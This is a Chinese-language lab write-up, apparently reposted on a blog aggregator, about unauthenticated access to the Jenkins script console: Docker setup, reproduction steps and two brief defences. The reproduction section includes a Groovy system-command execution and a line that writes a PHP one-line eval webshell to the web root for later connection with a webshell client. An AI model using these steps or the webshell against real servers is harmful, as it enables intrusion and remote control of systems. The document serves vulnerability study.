jenkins未授权访问漏洞记录(端口:7001,80,8080,50000)
一、漏洞描述
未授權訪問管理控制臺,可以通過腳本命令行執行系統命令。通過該漏洞,可以后臺管理服務,通過腳本命令行功能執行系統命令,如反彈shell,wget寫webshell文件。
二、漏洞環境搭建
docker pull docker.io/jenkins開啟服務(我執行的第一條命令即可)
How to use this image
docker run -p 8080:8080 -p 50000:50000 jenkinsThis will store the workspace in /var/jenkins_home. All Jenkins data lives in there - including plugins and configuration. You will probably want to make that a persistent volume (recommended):
docker run -p 8080:8080 -p 50000:50000 -v /your/home:/var/jenkins_home jenkinsThis will store the jenkins data in?/your/home?on the host. Ensure that?/your/home?is accessible by the jenkins user in container (jenkins user - uid 1000) or use?-u some_other_user?parameter with?docker run.
You can also use a volume container:
docker run --name myjenkins -p 8080:8080 -p 50000:50000 -v /var/jenkins_home jenkinsThen myjenkins container has the volume (please do read about docker volume handling to find out more).
三、漏洞復現
1、瀏覽器訪問http://192.168.8.24:8080/manage,可以看到沒有做任何限制,可以直接訪問
2、點擊”腳本命令行”(http://192.168.8.24:8080/script)
3、執行shell系統命令:println "uname -a".execute().text
4、利用”腳本命令行”上傳webshell,內容如下:
new File("/var/www/html/media.php").write('<?php @eval($_POST[cmd]);?>');
5、點擊“運行”,沒有報錯,上傳成功
6、菜刀連接
四、漏洞防御
1、對后臺控制頁面做登錄驗證限制
2、升級版本
?
五、參考文章
https://www.cnblogs.com/yuzly/p/11255609.html
新人創作打卡挑戰賽發博客就能抽獎!定制產品紅包拿不停!總結
以上是生活随笔為你收集整理的jenkins未授权访问漏洞记录(端口:7001,80,8080,50000)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 正则表达式:贪婪匹配与非贪婪匹配
- 下一篇: 牛客网暑期ACM多校训练营(第五场)A-